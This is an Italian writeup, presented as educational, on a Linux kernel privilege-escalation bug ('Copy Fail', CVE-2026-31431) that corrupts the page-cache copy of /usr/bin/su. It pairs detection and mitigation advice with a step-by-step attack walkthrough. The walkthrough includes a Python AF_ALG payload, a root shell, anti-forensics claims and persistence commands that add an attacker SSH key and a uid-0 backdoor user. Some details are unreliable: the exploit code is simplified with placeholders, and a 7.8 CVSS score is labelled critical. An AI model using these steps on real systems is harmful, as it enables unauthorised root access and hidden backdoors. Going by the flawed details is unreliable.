
Analisi dettagliata della vulnerabilità Copy Fail (CVE-2026-31431) nel kernel Linux, inclusi il meccanismo di corruzione della memoria, il flusso di escalation dei privilegi e l'impatto sulla sicurezza.
Analisi educativa della vulnerabilità Copy Fail nel kernel Linux.
Copre il meccanismo di corruzione della memoria, il flusso di escalation dei privilegi, l'escape dai container e le contromisure difensive.
Questo repository è esclusivamente per scopi educativi e di ricerca.
Non utilizzare queste informazioni su sistemi che non possiedi o per i quali non hai esplicita autorizzazione scritta a testare.
Tutti i frammenti di codice e i comandi sono forniti esclusivamente per favorire la comprensione delle componenti interne del kernel Linux.
CVE-2026-31431, nota anche come Copy Fail, è una vulnerabilità del kernel Linux in cui un utente locale non privilegiato può ottenere i privilegi di root senza alcuna autorizzazione speciale.
L'attacco opera interamente in RAM. Il file su disco non viene mai toccato — ciò significa che gli hash dei file restano puliti, i timestamp sono invariati e i log di audit non registrano nulla. Quando il sistema si riavvia, ogni traccia scompare.
Utente normale → exploit del bug algif_aead → sovrascrittura della page cache → root
Proprietà chiave:
/usr/bin/su — Il Binario Targetsu (Switch User) consente a un utente di passare a un altro account — tipicamente root. È un binario SetUID:
ls -l /usr/bin/su
# -rwsr-xr-x 1 root root 68208 Jan 1 2026 /usr/bin/su
# ^-- 's' = flag SetUID
Il flag s significa: quando qualsiasi utente esegue questo binario, esso viene eseguito con i permessi di root. Questo lo rende un obiettivo di alto valore.
La sua logica interna (semplificata):
if (password_correct()) {
give_root_access();
} else {
deny_access();
}
L'obiettivo dell'attacco: saltare completamente il controllo password_correct().
Quando Linux legge un file dal disco, ne conserva una copia in RAM chiamata page cache.
| Componente | Descrizione |
|---|---|
| Disco | File originale su disco (lo scaffale della libreria) |
| Page Cache | Copia in RAM del file (la fotocopia sulla tua scrivania) |
| CPU | Legge ed esegue dalla page cache — veloce |
| Attaccante | Modifica la copia in RAM; il disco rimane intatto |
cat /proc/meminfo | grep Cached
# Cached: 1234567 kB ← questa è la page cache
| Tipo | Sicurezza |
|---|---|
| Buffer Sicuro — allocato dal kernel, dimensioni e limiti controllati | ✅ OK |
| Page Cache — copia in RAM con supporto file, condivisa, eseguibile | ⚠️ PERICOLOSA se scritta |
| Puntatore Errato — indirizzo causato dal bug che punta ovunque | 🔴 CRITICO |
AF_ALG (Algorithm Family) è un'interfaccia socket di Linux che consente ai programmi in spazio utente di usare le funzioni crittografiche del kernel (AES, SHA, AEAD).
socket(AF_ALG, SOCK_SEQPACKET, 0); // apre un socket crittografico
algif_aead è il modulo del kernel che gestisce la crittografia AEAD (es. AES-GCM) tramite AF_ALG. La vulnerabilità risiede nel suo passaggio di copia dei dati.
AF_ALG → algif_aead → motore AES-GCM → buffer di output
↑
QUI C'È IL BUG
Il bug non è nella logica di crittografia. È nella gestione della memoria — la regione di memoria sbagliata viene selezionata durante una copia di dati.
destination = safe_output_buffer; // posizione corretta
memcpy(destination, user_data, size); // dati scritti in modo sicuro
destination = buffer + WRONG_OFFSET; // BUG: puntatore errato!
memcpy(destination, user_data, size); // i dati finiscono nella page cache
Il kernel avrebbe dovuto scrivere nel buffer di output sicuro. A causa di un offset calcolato male, scrive nella page cache — che contiene la copia in RAM di /usr/bin/su.
Il binario contiene codice macchina x86-64. L'attaccante prende di mira il salto condizionale che attiva il fallimento dell'autenticazione:
Prima dell'attacco:
cmp eax, 0 ; controlla il valore di ritorno
jne 0x1234 ; se fallisce → salta a deny
call give_root ; concede root
Dopo l'attacco (2 byte modificati in RAM):
cmp eax, 0 ; uguale
90 90 ; NOP NOP ← salto sostituito, controllo saltato!
call give_root ; la CPU arriva qui direttamente
NOP = No Operation. La CPU non fa nulla e prosegue — saltando completamente il controllo di autenticazione.
"Mi serve solo un account utente normale. Sarà il kernel a commettere l'errore da solo.
Il disco resta pulito. Nessun log. Funziona ogni volta."
whoami && id
# uid=1000(user) gid=1000(user) ← utente normale
uname -r
# 6.1.0-generic ← nella fascia vulnerabile
ls -la /usr/bin/su
# -rwsr-xr-x root root ← SetUID confermato
python3 -c "import socket; s = socket.socket(socket.AF_ALG); print('AF_ALG disponibile')"
cat /usr/bin/su > /dev/null
# /usr/bin/su è ora caricato nella page cache ✓
xxd /usr/bin/su | head -50
objdump -d /usr/bin/su | grep -A 20 'check\|auth\|pass'
readelf -h /usr/bin/su
Cercando: l'indirizzo della funzione di autenticazione, il salto condizionale jne/jnz e il suo offset esatto in byte.
import socket, struct
sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
sock.bind(('aead', 'gcm(aes)', 0, 16))
sock.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, b'A' * 16)
payload = b'\x90\x90' # NOP NOP — sostituisce il salto condizionale
conn = sock.accept()
conn[0].sendmsg([payload], [(socket.SOL_ALG, socket.ALG_SET_IV, ...)])
# Internamente al kernel (semplificato):
destination = buffer + crafted_offset # BUG: puntatore errato
memcpy(destination, payload, 2) # byte NOP scritti nella page cache
# Il controllo password di /usr/bin/su è ora NOP NOP in RAM
su
# Password: (qualsiasi cosa — o premi semplicemente Invio)
# root@victim:/# ← ROOT OTTENUTA
Cosa è successo: Il sistema ha eseguito /usr/bin/su dalla RAM. Il controllo password era NOP. La CPU lo ha saltato. give_root() è stata chiamata direttamente.
echo 'attacker_public_key' >> /root/.ssh/authorized_keys
useradd -o -u 0 -g 0 backdoor
echo 'backdoor:password' | chpasswd
Dopo l'attacco, un investigatore forense trova:
sha256sum /usr/bin/su # STESSO hash di prima ← disco intatto
diff /usr/bin/su backup/su # Nessuna differenza
grep -r 'attack' /var/log/ # Nulla
log di auditd # Nessuna scrittura di file registrata
Al riavvio, la RAM viene svuotata — tutte le prove sono sparite.
I container isolano lo spazio utente — ma il kernel è condiviso, e la page cache è memoria del kernel.
Kernel Host
├── Container 1 (spazio utente isolato)
│ └── L'attaccante è qui
├── Container 2
└── Processo Host
Page Cache: CONDIVISA tra tutti i container e l'host!
Percorso di fuga: L'attaccante nel Container 1 legge /usr/bin/su dell'host → attiva il bug → il binario dell'host in RAM viene modificato → eseguire su sull'host concede root sulla macchina host.
Interessati: Docker, Podman, LXC, Kubernetes (nodi condivisi) — se il kernel dell'host è vulnerabile.
Questi sono esercizi di osservazione solo. Usa un ambiente di laboratorio (Docker + VM con kernel vecchio) per qualsiasi test.
free -h # annota il valore di Cache prima
cat /usr/bin/su > /dev/null # carica il file nella page cache
free -h # la Cache aumenta leggermente
su &
sleep 1
PID=$(pgrep su | head -1)
cat /proc/$PID/maps | grep su
xxd /usr/bin/su | head -20
strings /usr/bin/su | grep -E 'pass|auth|root|fail'
sudo apt install gdb -y
gdb /usr/bin/su
(gdb) disassemble main
(gdb) info functions
(gdb) quit
sha256sum /usr/bin/su
# Uguale al disco normalmente — diverso dopo un attacco riuscito
# Il confronto /proc/PID/mem richiede root
Priorità 1 — Aggiornamento del Kernel (migliore soluzione)
# Ubuntu / Debian
sudo apt update && sudo apt upgrade linux-image-$(uname -r)
sudo reboot
# RHEL / CentOS
sudo yum update kernel
sudo reboot
Priorità 2 — Disabilitare algif_aead
sudo modprobe -r algif_aead
echo 'install algif_aead /bin/false' | \
sudo tee /etc/modprobe.d/disable-algif-aead.conf
Priorità 3 — Controlli di Accesso
Applica profili seccomp con SystemCallFilter nei servizi systemd per limitare l'accesso ai socket AF_ALG per i processi non fidati.
sudo bpftrace -e '
kprobe:algif_aead_sendmsg {
printf("ALERT: sendmsg algif_aead dal PID %d (utente %d)\n", pid, uid);
}
'
# Esegui con profilo seccomp (blocca AF_ALG)
docker run --security-opt seccomp=custom-profile.json my-image
restrictedCVE-2026-31431 combina furtività (disco invariato) + affidabilità (nessuna race condition) + fuga dal container — rendendola unicamente pericolosa nella sua categoria.
algif_aead se non richiestoIn CVE-2026-31431, il modulo crittografico di Linux (
algif_aead) ha un bug di copia della memoria che fa finire i dati controllati dall'attaccante nella page cache invece che nel buffer di output sicuro — modificando silenziosamente un binario SetUID in RAM — consentendo a qualsiasi utente locale di ottenere accesso root senza lasciare alcuna traccia su disco.
Questo documento è preparato per la comprensione educativa delle componenti interne della sicurezza del kernel Linux.
— Solo a Scopo Educativo —
| Campo | Valore |
|---|
| ID CVE | CVE-2026-31431 |
| Nome Comune | Copy Fail / Corruzione della Page Cache in algif_aead |
| Punteggio CVSS v3.1 | 7.8 — CRITICO |
| Tipo di Attacco | Escalation Locale dei Privilegi (LPE) |
| Versioni del Kernel Affette | Linux 5.10 fino a 6.8 (circa) |
| Componente Vulnerabile | crypto/algif_aead.c — interfaccia socket AF_ALG |
| Affidabilità dello Sfruttamento | ALTA — Nessuna race condition richiesta |
| Prove su Disco | NESSUNA — modifica solo in RAM |
| Impatto sui Container | SÌ — escape dall'host tramite page cache condivisa |
| Stato della Patch | Disponibile (patch upstream del kernel rilasciata) |
| CVE | Race Condition? | Disco Sicuro? | Affidabilità |
|---|
| CVE-2016-5195 DirtyCow | SÌ — richiede tempismo | NO — disco modificato | Media |
| CVE-2022-0847 DirtyPipe | Minima | SÌ — solo RAM | Alta |
| CVE-2026-31431 Copy Fail | NO — scrittura diretta | SÌ — solo RAM | MOLTO ALTA |
| Metodo di Rilevamento | Funziona? |
|---|
| sha256sum / hash del file | ❌ Il disco è identico |
| Timestamp di modifica del file | ❌ Disco intatto |
| Log di scrittura file di auditd | ❌ Nessuna scrittura su disco avvenuta |
Ispezione della memoria di processo (/proc) | ✅ Solo se monitorata in tempo reale |
| Monitoraggio kernel eBPF | ✅ Rilevamento a livello di syscall |
| Forensics della memoria (LiME) | ✅ Ma complessa |
| Metodo | Comando / Approccio |
|---|
| Versione del kernel | uname -r → confronta con la versione patchata |
| Modulo caricato? | lsmod | grep algif_aead |
| Monitoraggio eBPF | bpftrace -e 'kprobe:algif_aead_sendmsg { ... }' |
| Memoria di processo | cat /proc/PID/maps — confronta con l'hash del disco |
| auditd | ausearch -sc socket -sv no |
| Falco | Regola: memfd inatteso o scrittura nella page cache |
| Forensics della memoria | Dump LiME per analisi post-incidente |
| CVE / Nome | Race Condition? | Disco Sicuro? | Fuga dal Container? | Affidabilità |
|---|
| CVE-2016-5195 DirtyCow | SÌ — richiede tempismo | ❌ Disco modificato | Parziale | Media |
| CVE-2022-0847 DirtyPipe | Minima | ✅ Solo RAM | SÌ | Alta |
| CVE-2026-31431 Copy Fail | NO — scrittura diretta | ✅ Solo RAM | SÌ — cache condivisa | MOLTO ALTA |
| Termine | Significato |
|---|
| Escalation dei Privilegi | Passare da utente normale a root senza autorizzazione |
| Page Cache | Copia di un file memorizzata in RAM, gestita dal kernel |
| Binario SetUID | File di proprietà di root che viene eseguito con privilegi di root per qualsiasi utente |
| Primitive di Scrittura | Capacità di scrittura arbitraria in memoria ottenuta tramite un bug |
| Race Condition | Attacco basato sul tempismo che richiede una finestra di esecuzione precisa |
| AF_ALG | Interfaccia socket crittografica del kernel Linux (Algorithm Family) |
| algif_aead | Modulo del kernel per la crittografia AEAD — il componente vulnerabile |
| memcpy() | Funzione di copia della memoria — sposta dati da un indirizzo a un altro |
| NOP | No Operation — istruzione CPU che non fa nulla e prosegue |
| Fuga dal Container | Uscire da un container per accedere al sistema host |
| eBPF | Strumento di monitoraggio a livello di kernel per il rilevamento in tempo reale delle syscall |
| LiME | Linux Memory Extractor — strumento di dump della RAM per analisi forensi |
| Seccomp | Secure Computing — meccanismo Linux per limitare le syscall |
| ELF | Executable and Linkable Format — formato binario standard di Linux |
| CVE | Common Vulnerabilities and Exposures — identificatore di vulnerabilità |
| CVSS | Common Vulnerability Scoring System — punteggio di gravità standardizzato |
| Modulo del Kernel | Plugin del kernel (es. driver di dispositivo, gestori crittografici) |
| Offset | Distanza in byte da un punto di memoria a un altro |
| Reverse Engineering | Analisi di un binario compilato senza accesso al codice sorgente |
| Passo | Azione |
|---|
| 1 | whoami — conferma di essere un utente normale |
| 2 | uname -r — verifica che il kernel sia nella fascia vulnerabile (5.10 – 6.8) |
| 3 | ls -la /usr/bin/su — conferma che il flag SetUID sia presente |
| 4 | Esegui lo script di exploit: AF_ALG → algif_aead → payload costruito |
| 5 | Il bug del kernel si attiva → la page cache di /usr/bin/su viene sovrascritta in RAM |
| 6 | Esegui su → ROOT ottenuta (nessuna password richiesta) |
| 7 | Persistenza: aggiungi chiave SSH o crea utente root backdoor |